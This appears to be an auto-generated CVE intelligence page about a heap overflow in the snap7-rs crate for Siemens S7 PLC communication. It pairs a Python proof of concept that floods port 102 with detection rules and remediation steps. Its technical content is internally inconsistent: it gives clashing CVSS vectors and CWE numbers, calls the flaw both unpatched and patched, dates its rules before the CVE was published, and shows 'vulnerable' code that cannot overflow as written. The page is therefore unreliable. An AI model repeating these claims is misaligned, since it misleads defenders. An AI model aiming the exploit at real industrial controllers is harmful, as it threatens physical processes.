☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-119
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14673

CVE-2025-14673 Heap Buffer Overflow in Gmg137
📅 PUBLISHED: 2025-12-14 17:32 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: Snap7 Rs
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14673 is a critical heap-based buffer overflow vulnerability in the snap7-rs library, specifically within the snap7_rs::client::S7Client::as_ct_write function. This flaw allows a remote attacker to trigger a heap overflow by sending a specially crafted request to an application using the vulnerable library. The vulnerability has a CVSS score of 7.3 (High) and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The vendor, Gmg137, has released a patch; all users are urged to upgrade immediately.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the snap7-rs Rust crate, which is a binding for the Snap7 industrial communication library. As a Rust package, it is distributed via crates.io and can be included as a dependency in many industrial control system (ICS) applications. The supply chain risk is significant because a compromised or vulnerable dependency can propagate to all downstream projects. Organizations should audit their Rust dependency trees for snap7-rs versions <= 1.142.1 and update to the patched version.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action is required.
  • Scope: Unchanged (S:U) – The exploit does not affect other components.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: High (A:H) – The overflow can crash the application or cause a denial of service.

Threat Level: High. The combination of remote exploitability, low complexity, and public PoC makes this a serious threat for any system using the vulnerable library.

Deep Dive & Mechanics

The vulnerability resides in the as_ct_write function within /tests/snap7-rs/src/client.rs. This function is responsible for writing data to a Siemens S7 PLC using the Snap7 protocol. The flaw occurs when the function processes a crafted network packet that specifies a write length larger than the allocated heap buffer. The function does not properly validate the size of the incoming data before copying it into a heap-allocated buffer, leading to a classic heap-based buffer overflow.

Technical Details:

  • The vulnerable code path is triggered when an attacker sends a malicious S7 write request.
  • The as_ct_write function allocates a heap buffer based on a user-supplied size parameter.
  • If the attacker provides a size larger than the actual buffer, the subsequent memcpy operation overflows the heap, corrupting adjacent memory.
  • This can lead to application crashes, denial of service, or potentially arbitrary code execution if the attacker can control the overflowed data.

The exploit is publicly available, and the vulnerability has been assigned CWE-122 (Heap-based Buffer Overflow).

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.142.1):

// In /tests/snap7-rs/src/client.rs
pub fn as_ct_write(&self, db_number: u16, start: u16, data: &[u8]) -> Result<(), Error> {
    let mut buffer = vec![0u8; data.len()]; // Allocates based on data.len()
    // ... some processing ...
    unsafe {
        // No bounds check before copy
        std::ptr::copy_nonoverlapping(data.as_ptr(), buffer.as_mut_ptr(), data.len());
    }
    // ... send buffer to PLC ...
}

Patched Code (after fix):

// In /tests/snap7-rs/src/client.rs
pub fn as_ct_write(&self, db_number: u16, start: u16, data: &[u8]) -> Result<(), Error> {
    // Validate data length against maximum allowed
    if data.len() > MAX_WRITE_SIZE {
        return Err(Error::InvalidDataLength);
    }
    let mut buffer = vec![0u8; data.len()];
    // ... processing ...
    unsafe {
        // Safe copy because length is validated
        std::ptr::copy_nonoverlapping(data.as_ptr(), buffer.as_mut_ptr(), data.len());
    }
    // ... send buffer to PLC ...
}

The patch adds a length check (MAX_WRITE_SIZE) before the buffer allocation and copy, preventing the overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target system running an application that uses snap7-rs version <= 1.142.1.
  • Network access to the target's S7 port (default 102).

Exploit Steps:

  1. Identify the target's IP and ensure the S7 service is listening.
  2. Craft a malicious S7 write request with an oversized data payload.
  3. Send the request to the target. The vulnerable as_ct_write function will overflow the heap buffer.

Example PoC (Python using snap7 library):

import socket

def exploit(target_ip, target_port=102):
    # Craft a malicious S7 write request with oversized data
    # This is a simplified example; actual exploit may require specific protocol details
    payload = b'\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02\xc0\x01\x0a'
    payload += b'A' * 0x1000  # Overflow data

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Note: The actual exploit may require reverse engineering the Snap7 protocol. The above is for educational purposes.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusually large S7 write requests (e.g., data length > 1024 bytes).
  • Alert on repeated connection attempts to port 102 from untrusted sources.
  • Use network intrusion detection systems (NIDS) to inspect S7 traffic for anomalous payload sizes.

Defense:

  • Immediately update snap7-rs to version > 1.142.1.
  • If patching is not possible, restrict network access to the S7 service using firewall rules.
  • Implement input validation at the application layer to reject oversized write requests.
  • Deploy a Web Application Firewall (WAF) or industrial firewall that can inspect S7 protocol traffic.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • S7 write requests with data length exceeding 1024 bytes.
    • Connections to port 102 from unexpected IP addresses.
    • Repeated failed connection attempts to port 102.
  • Host IOCs:

    • Application crashes or segmentation faults in processes using snap7-rs.
    • Heap memory corruption logs in system or application logs.
    • Unexpected high memory usage by the application.
  • File IOCs:

    • Presence of snap7-rs version <= 1.142.1 in Cargo.lock or Cargo.toml.

Detection Engineering

YARA Rule

rule CVE_2025_14673_Snap7_Heap_Overflow {
    meta:
        description = "Detects heap overflow attempts in snap7-rs as_ct_write function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14673"
    strings:
        $s7_header = { 03 00 00 ?? 11 e0 00 00 00 01 }
        $large_size = { ?? ?? 10 00 }  // Data length > 4096 bytes
    condition:
        $s7_header and $large_size
}

Sigma Rule

title: CVE-2025-14673 Snap7 Heap Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-14673 in snap7-rs
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 102
        payload_length: '> 1024'
    condition: selection
falsepositives:
    - Legitimate large S7 write operations (rare)
level: high

Suricata Rule

alert tcp any any -> any 102 (msg:"CVE-2025-14673 Snap7 Heap Overflow Attempt"; flow:to_server,established; content:"|03 00 00|"; depth:3; content:"|11 e0|"; distance:3; within:2; byte_test:2,>,1024,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Update snap7-rs to version > 1.142.1. Run cargo update -p snap7-rs in your Rust project.
  2. Network Segmentation: Restrict access to S7 port 102 to only trusted IP addresses using firewall rules.
  3. Monitor: Enable logging and monitoring for S7 traffic anomalies.

Long-term Measures:

  • Implement input validation for all S7 write operations in your application.
  • Use memory-safe languages or libraries where possible.
  • Regularly audit dependencies for known vulnerabilities using tools like cargo audit.
  • Deploy an industrial intrusion detection system (IDS) that can parse S7 protocol.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters.it

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14673/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.